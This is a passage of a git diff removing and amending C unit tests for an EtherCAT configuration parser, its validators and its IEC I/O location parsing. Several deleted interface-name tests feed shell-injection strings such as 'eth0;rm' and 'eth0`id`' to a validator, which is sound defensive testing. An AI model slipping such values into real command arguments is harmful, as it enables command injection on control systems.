TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, rc); -} - -void test_parse_all_NullCount_ShouldReject(void) -{ - int rc = ecat_config_parse_all("anything.json", g_instances, - ECAT_MAX_MASTERS, NULL); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, rc); -} - -void test_parse_all_ZeroMaxMasters_ShouldReject(void) -{ - int count = 0; - int rc = ecat_config_parse_all("anything.json", g_instances, 0, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, rc); -} - -/* ===================================================================== - * File / parse errors - * ===================================================================== */ - -void test_parse_all_NonExistentFile_ShouldReturnFileError(void) -{ - int count = 99; - int rc = ecat_config_parse_all("/tmp/__definitely_missing_ecat_config.json", - g_instances, ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_FILE, rc); - TEST_ASSERT_EQUAL_INT(0, count); -} - -void test_parse_all_MalformedJson_ShouldReturnParseError(void) -{ - write_tmpfile("{ this is not valid json "); - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_PARSE, rc); -} - -/* ===================================================================== - * Single master, array form - * ===================================================================== */ - -void test_parse_all_SingleMasterArray_ShouldParseAndValidate(void) -{ - write_tmpfile( - "[{" - " \"name\": \"primary\"," - " \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {" - " \"interface\": \"eth0\"," - " \"cycle_time_us\": 500," - " \"receive_timeout_us\": 1500" - " }," - " \"slaves\": [{" - " \"position\": 1," - " \"name\": \"Coupler\"," - " \"vendor_id\": \"0x00000002\"," - " \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": []," - " \"sdo_configurations\": []," - " \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - "}]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_STRING("primary", g_instances[0].name); - TEST_ASSERT_EQUAL_STRING("eth0", g_instances[0].config.master.interface); - TEST_ASSERT_EQUAL_INT(500, g_instances[0].config.master.cycle_time_us); - TEST_ASSERT_EQUAL_INT(1500, g_instances[0].config.master.receive_timeout_us); - TEST_ASSERT_EQUAL_INT(1, g_instances[0].config.slave_count); - TEST_ASSERT_EQUAL_INT(1, g_instances[0].config.slaves[0].position); -} - -/* ===================================================================== - * Multi-master - * ===================================================================== */ - -void test_parse_all_TwoMasters_ShouldParseBoth(void) -{ - write_tmpfile( - "[" - " {" - " \"name\": \"m1\"," - " \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S1\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": []," - " \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - " }," - " {" - " \"name\": \"m2\"," - " \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth1\", \"cycle_time_us\": 2000, \"receive_timeout_us\": 3000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S2\"," - " \"vendor_id\": \"0x00000003\", \"product_code\": \"0x00000004\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": []," - " \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - " }" - "]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(2, count); - TEST_ASSERT_EQUAL_STRING("m1", g_instances[0].name); - TEST_ASSERT_EQUAL_STRING("eth0", g_instances[0].config.master.interface); - TEST_ASSERT_EQUAL_STRING("m2", g_instances[1].name); - TEST_ASSERT_EQUAL_STRING("eth1", g_instances[1].config.master.interface); - TEST_ASSERT_EQUAL_INT(2000, g_instances[1].config.master.cycle_time_us); -} - -/* ===================================================================== - * Protocol filtering - * ===================================================================== */ - -void test_parse_all_NonEtherCATEntry_ShouldBeSkipped(void) -{ - write_tmpfile( - "[" - " {\"name\": \"modbus_skipped\", \"protocol\": \"MODBUS\"," - " \"config\": {\"master\": {\"interface\": \"eth9\", \"cycle_time_us\": 100, \"receive_timeout_us\": 100}}}," - " {\"name\": \"ecat_kept\", \"protocol\": \"EtherCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }}" - "]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_STRING("ecat_kept", g_instances[0].name); -} - -/* ===================================================================== - * Validation rejection inside the loop - * ===================================================================== */ - -void test_parse_all_InvalidMasterEntry_ShouldBeSkipped(void) -{ - /* First entry has slave with vendor_id=0 -> validate fails -> skipped. - * Second entry is valid -> kept. Overall result: OK with count=1. */ - write_tmpfile( - "[" - " {\"name\": \"bad\", \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000000\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }}," - " {\"name\": \"good\", \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth1\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }}" - "]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_STRING("good", g_instances[0].name); -} - -void test_parse_all_AllInvalid_ShouldReturnMissing(void) -{ - write_tmpfile( - "[{" - " \"name\": \"bad\", \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [], \"diagnostics\": {}" - " }" - "}]"); - - int count = 99; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_MISSING, rc); - TEST_ASSERT_EQUAL_INT(0, count); -} - -/* ===================================================================== - * Defaults applied for missing fields - * ===================================================================== */ - -void test_parse_all_MissingMasterFields_ShouldUseDefaults(void) -{ - /* Master section omits cycle_time_us, receive_timeout_us, watchdog -- the - * parser must fill in defaults from ecat_config_init_defaults(). */ - write_tmpfile( - "[{" - " \"name\": \"m\", \"protocol\": \"ETHERCAT\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\"}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - "}]"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_INT(1000, g_instances[0].config.master.cycle_time_us); - TEST_ASSERT_EQUAL_INT(2000, g_instances[0].config.master.receive_timeout_us); - TEST_ASSERT_EQUAL_INT(3, g_instances[0].config.master.watchdog_timeout_cycles); -} - -/* ===================================================================== - * Bare-object fall-back path - * ===================================================================== */ - -void test_parse_all_BareObjectRoot_ShouldFallBackToSingleEntry(void) -{ - /* Root is an object, not an array -- the bare-object fall-back should - * parse it as one master. */ - write_tmpfile( - "{" - " \"name\": \"bare\"," - " \"config\": {" - " \"master\": {\"interface\": \"eth0\", \"cycle_time_us\": 1000, \"receive_timeout_us\": 2000}," - " \"slaves\": [{" - " \"position\": 1, \"name\": \"S\"," - " \"vendor_id\": \"0x00000002\", \"product_code\": \"0x00000001\"," - " \"revision\": \"0x00000001\"," - " \"channels\": [], \"sdo_configurations\": [], \"rx_pdos\": [], \"tx_pdos\": []" - " }]," - " \"diagnostics\": {}" - " }" - "}"); - - int count = 0; - int rc = ecat_config_parse_all(TMPFILE, g_instances, - ECAT_MAX_MASTERS, &count); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, rc); - TEST_ASSERT_EQUAL_INT(1, count); - TEST_ASSERT_EQUAL_STRING("bare", g_instances[0].name); -} diff --git a/tests/test_ethercat_config_validator.c b/tests/test_ethercat_config_validator.c deleted file mode 100644 index 2763fe8d..00000000 --- a/tests/test_ethercat_config_validator.c +++ /dev/null @@ -1,189 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_config_validator.c - * @brief Unit tests for ecat_config_validate() — boundary and shape checks - * on a parsed ecat_config_t before the master starts. - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/* Helper: a baseline configuration that should always validate as OK. */ -static void baseline_config(ecat_config_t *config) -{ - ecat_config_init_defaults(config); - - config->slave_count = 1; - ecat_slave_t *s = &config->slaves[0]; - memset(s, 0, sizeof(*s)); - s->position = 1; - s->vendor_id = 0x00000002; - s->product_code = 0x00000001; - s->revision = 0x00000001; - snprintf(s->name, sizeof(s->name), "TestSlave"); - s->channel_count = 0; -} - -/* ---- NULL ---- */ - -void test_validate_NullConfig_ShouldReject(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(NULL)); -} - -/* ---- Master section ---- */ - -void test_validate_BaselineConfig_ShouldAccept(void) -{ - static ecat_config_t config; - baseline_config(&config); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} - -void test_validate_EmptyInterface_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.master.interface[0] = '\0'; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_ZeroCycleTime_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.master.cycle_time_us = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_NegativeCycleTime_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.master.cycle_time_us = -1; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_ZeroReceiveTimeout_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.master.receive_timeout_us = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -/* ---- Slave section ---- */ - -void test_validate_NoSlaves_ShouldAccept(void) -{ - /* Master with no slaves is a valid (if uncommon) config. */ - static ecat_config_t config; - baseline_config(&config); - config.slave_count = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} - -void test_validate_SlavePositionZero_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].position = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_SlavePositionNegative_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].position = -1; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_SlaveZeroVendorId_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].vendor_id = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_SlaveZeroProductCode_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].product_code = 0; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_DuplicateSlavePositions_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slave_count = 2; - /* slot 0 was set up by baseline_config */ - ecat_slave_t *s2 = &config.slaves[1]; - memset(s2, 0, sizeof(*s2)); - s2->position = config.slaves[0].position; /* same position - duplicate */ - s2->vendor_id = 0x00000003; - s2->product_code = 0x00000004; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_DistinctSlavePositions_ShouldAccept(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slave_count = 2; - ecat_slave_t *s2 = &config.slaves[1]; - memset(s2, 0, sizeof(*s2)); - s2->position = 2; - s2->vendor_id = 0x00000003; - s2->product_code = 0x00000004; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} - -/* ---- Channel section ---- */ - -void test_validate_ChannelWithoutPercentPrefix_ShouldReject(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].channel_count = 1; - ecat_channel_t *ch = &config.slaves[0].channels[0]; - memset(ch, 0, sizeof(*ch)); - /* Non-empty location that is not a valid IEC string -- must start with '%'. */ - snprintf(ch->iec_location, sizeof(ch->iec_location), "IX0.0"); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_ERR_INVALID, ecat_config_validate(&config)); -} - -void test_validate_ChannelWithPercentPrefix_ShouldAccept(void) -{ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].channel_count = 1; - ecat_channel_t *ch = &config.slaves[0].channels[0]; - memset(ch, 0, sizeof(*ch)); - snprintf(ch->iec_location, sizeof(ch->iec_location), "%%IX0.0"); - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} - -void test_validate_ChannelWithEmptyLocation_ShouldAccept(void) -{ - /* Empty iec_location is allowed (validator only flags non-empty without '%'). */ - static ecat_config_t config; - baseline_config(&config); - config.slaves[0].channel_count = 1; - ecat_channel_t *ch = &config.slaves[0].channels[0]; - memset(ch, 0, sizeof(*ch)); - ch->iec_location[0] = '\0'; - TEST_ASSERT_EQUAL_INT(ECAT_CONFIG_OK, ecat_config_validate(&config)); -} diff --git a/tests/test_ethercat_data_types.c b/tests/test_ethercat_data_types.c deleted file mode 100644 index 57381df5..00000000 --- a/tests/test_ethercat_data_types.c +++ /dev/null @@ -1,246 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_data_types.c - * @brief Unit tests for ecat_parse_data_type() — data type string recognition - * - * Tests all recognized CoE/EtherCAT type names, common IEC 61131-3 aliases, - * case-insensitivity, and the UNKNOWN fallback for unrecognized strings. - */ - -#include "ethercat_config.h" -#include "unity.h" - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/* ---- NULL and empty input ---- */ - -void test_parse_data_type_NullString_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type(NULL)); -} - -void test_parse_data_type_EmptyString_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type("")); -} - -/* ---- Boolean ---- */ - -void test_parse_data_type_Bool_ShouldReturnBool(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_BOOL, ecat_parse_data_type("BOOL")); -} - -void test_parse_data_type_BoolLowerCase_ShouldReturnBool(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_BOOL, ecat_parse_data_type("bool")); -} - -void test_parse_data_type_BoolMixedCase_ShouldReturnBool(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_BOOL, ecat_parse_data_type("Bool")); -} - -/* ---- 8-bit signed integer ---- */ - -void test_parse_data_type_Int8_ShouldReturnInt8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT8, ecat_parse_data_type("INT8")); -} - -void test_parse_data_type_Sint_ShouldReturnInt8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT8, ecat_parse_data_type("SINT")); -} - -/* ---- 8-bit unsigned integer ---- */ - -void test_parse_data_type_Uint8_ShouldReturnUint8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT8, ecat_parse_data_type("UINT8")); -} - -void test_parse_data_type_Usint_ShouldReturnUint8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT8, ecat_parse_data_type("USINT")); -} - -void test_parse_data_type_Byte_ShouldReturnUint8(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT8, ecat_parse_data_type("BYTE")); -} - -/* ---- 16-bit signed integer ---- */ - -void test_parse_data_type_Int16_ShouldReturnInt16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT16, ecat_parse_data_type("INT16")); -} - -void test_parse_data_type_Int_ShouldReturnInt16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT16, ecat_parse_data_type("INT")); -} - -/* ---- 16-bit unsigned integer ---- */ - -void test_parse_data_type_Uint16_ShouldReturnUint16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT16, ecat_parse_data_type("UINT16")); -} - -void test_parse_data_type_Uint_ShouldReturnUint16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT16, ecat_parse_data_type("UINT")); -} - -void test_parse_data_type_Word_ShouldReturnUint16(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT16, ecat_parse_data_type("WORD")); -} - -/* ---- 32-bit signed integer ---- */ - -void test_parse_data_type_Int32_ShouldReturnInt32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT32, ecat_parse_data_type("INT32")); -} - -void test_parse_data_type_Dint_ShouldReturnInt32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT32, ecat_parse_data_type("DINT")); -} - -/* ---- 32-bit unsigned integer ---- */ - -void test_parse_data_type_Uint32_ShouldReturnUint32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT32, ecat_parse_data_type("UINT32")); -} - -void test_parse_data_type_Udint_ShouldReturnUint32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT32, ecat_parse_data_type("UDINT")); -} - -void test_parse_data_type_Dword_ShouldReturnUint32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT32, ecat_parse_data_type("DWORD")); -} - -/* ---- 64-bit signed integer ---- */ - -void test_parse_data_type_Int64_ShouldReturnInt64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT64, ecat_parse_data_type("INT64")); -} - -void test_parse_data_type_Lint_ShouldReturnInt64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_INT64, ecat_parse_data_type("LINT")); -} - -/* ---- 64-bit unsigned integer ---- */ - -void test_parse_data_type_Uint64_ShouldReturnUint64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT64, ecat_parse_data_type("UINT64")); -} - -void test_parse_data_type_Ulint_ShouldReturnUint64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT64, ecat_parse_data_type("ULINT")); -} - -void test_parse_data_type_Lword_ShouldReturnUint64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UINT64, ecat_parse_data_type("LWORD")); -} - -/* ---- 32-bit float (REAL) ---- */ - -void test_parse_data_type_Real_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("REAL")); -} - -void test_parse_data_type_Real32_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("REAL32")); -} - -void test_parse_data_type_Float_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("FLOAT")); -} - -void test_parse_data_type_RealLowerCase_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("real")); -} - -void test_parse_data_type_FloatMixedCase_ShouldReturnReal32(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL32, ecat_parse_data_type("Float")); -} - -/* ---- 64-bit float (LREAL) ---- */ - -void test_parse_data_type_Lreal_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("LREAL")); -} - -void test_parse_data_type_Real64_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("REAL64")); -} - -void test_parse_data_type_Double_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("DOUBLE")); -} - -void test_parse_data_type_LrealLowerCase_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("lreal")); -} - -void test_parse_data_type_DoubleMixedCase_ShouldReturnReal64(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_REAL64, ecat_parse_data_type("Double")); -} - -/* ---- Padding ---- */ - -void test_parse_data_type_Pad_ShouldReturnPad(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_PAD, ecat_parse_data_type("PAD")); -} - -void test_parse_data_type_PadLowerCase_ShouldReturnPad(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_PAD, ecat_parse_data_type("pad")); -} - -/* ---- Unrecognized strings ---- */ - -void test_parse_data_type_Garbage_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type("GARBAGE")); -} - -void test_parse_data_type_Int128_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type("INT128")); -} - -void test_parse_data_type_WhitespaceString_ShouldReturnUnknown(void) -{ - TEST_ASSERT_EQUAL_INT(ECAT_DTYPE_UNKNOWN, ecat_parse_data_type(" BOOL")); -} diff --git a/tests/test_ethercat_iec_location.c b/tests/test_ethercat_iec_location.c index b88fc64f..5e971371 100644 --- a/tests/test_ethercat_iec_location.c +++ b/tests/test_ethercat_iec_location.c @@ -7,10 +7,10 @@ * location string parser ("%IX0.3", "%QW3", etc.). */ -#include "ethercat_io.h" +#include "ethercat_iomap.h" #include "unity.h" -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/cjson/cJSON.c") void setUp(void) {} void tearDown(void) {} @@ -163,3 +163,20 @@ void test_iec_location_OnlyPercent_ShouldFail(void) iec_location_t loc; TEST_ASSERT_EQUAL_INT(-1, ecat_io_parse_iec_location("%", &loc)); } + +/* ---- Invalid: byte index out of range ---- */ + +void test_iec_location_ByteIndexBeyondIntRange_ShouldFail(void) +{ + iec_location_t loc; + TEST_ASSERT_EQUAL_INT(-1, ecat_io_parse_iec_location("%QX4294967295.0", &loc)); + TEST_ASSERT_EQUAL_INT(-1, ecat_io_parse_iec_location("%QX99999999999999999999.0", &loc)); +} + +void test_iec_location_ByteIndexAboveJournalRange_ShouldFail(void) +{ + iec_location_t loc; + TEST_ASSERT_EQUAL_INT(-1, ecat_io_parse_iec_location("%IW65536", &loc)); + TEST_ASSERT_EQUAL_INT(0, ecat_io_parse_iec_location("%IW65535", &loc)); + TEST_ASSERT_EQUAL_INT(65535, loc.byte_index); +} diff --git a/tests/test_ethercat_iface_validator.c b/tests/test_ethercat_iface_validator.c deleted file mode 100644 index 60768968..00000000 --- a/tests/test_ethercat_iface_validator.c +++ /dev/null @@ -1,191 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file test_ethercat_iface_validator.c - * @brief Unit tests for ecat_is_valid_iface_name() — the Linux iface - * whitelist used as a precondition before passing names to - * ethtool / iptables / /proc paths. - * - * Accepted: alphanumeric + '_' + '-', must start with an alpha, - * length 1..15 (IFNAMSIZ-1). - */ - -#include "ethercat_config.h" -#include "unity.h" - -#include -#include - -TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/cjson/cJSON.c") - -void setUp(void) {} -void tearDown(void) {} - -/* ---- Null and length boundaries ---- */ - -void test_iface_validator_Null_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name(NULL)); -} - -void test_iface_validator_Empty_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("")); -} - -void test_iface_validator_MaxValidLength_ShouldAccept(void) -{ - /* 15 chars = IFNAMSIZ-1, the longest valid Linux iface name. */ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("eth012345678901")); -} - -void test_iface_validator_LengthSixteen_ShouldReject(void) -{ - /* 16 chars: leaves no room for the NUL within IFNAMSIZ. */ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0123456789012")); -} - -void test_iface_validator_VeryLong_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name( - "this_is_a_ridiculously_long_interface_name_that_cannot_exist")); -} - -/* ---- First-character constraint ---- */ - -void test_iface_validator_LeadingDigit_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("0eth")); -} - -void test_iface_validator_LeadingUnderscore_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("_eth0")); -} - -void test_iface_validator_LeadingHyphen_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("-eth0")); -} - -/* ---- Shell metacharacters and unsafe characters ---- */ - -void test_iface_validator_Semicolon_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0;rm")); -} - -void test_iface_validator_Pipe_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0|cat")); -} - -void test_iface_validator_Backtick_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0`id`")); -} - -void test_iface_validator_Dollar_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0$x")); -} - -void test_iface_validator_Slash_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0/foo")); -} - -void test_iface_validator_Backslash_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0\\x")); -} - -void test_iface_validator_Space_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth 0")); -} - -void test_iface_validator_Newline_ShouldReject(void) -{ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("eth0\n")); -} - -void test_iface_validator_DotInName_ShouldReject(void) -{ - /* '.' is not in the accepted set even though some virtual ifaces use it. - * Keeping the validator strict avoids surprises elsewhere. */ - TEST_ASSERT_FALSE(ecat_is_valid_iface_name("vlan0.10")); -} - -/* ---- Valid Linux iface names ---- */ - -void test_iface_validator_SimpleEth0_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("eth0")); -} - -void test_iface_validator_PredictableEnp_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("enp3s0")); -} - -void test_iface_validator_Wireless_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("wlan0")); -} - -void test_iface_validator_Loopback_ShouldAccept(void) -{ - TEST_ASSERT_TRUE(ecat_is_valid_iface_name("lo")); -} - -void test_iface_validator_Underscore_ShouldAccept(void) -{ - 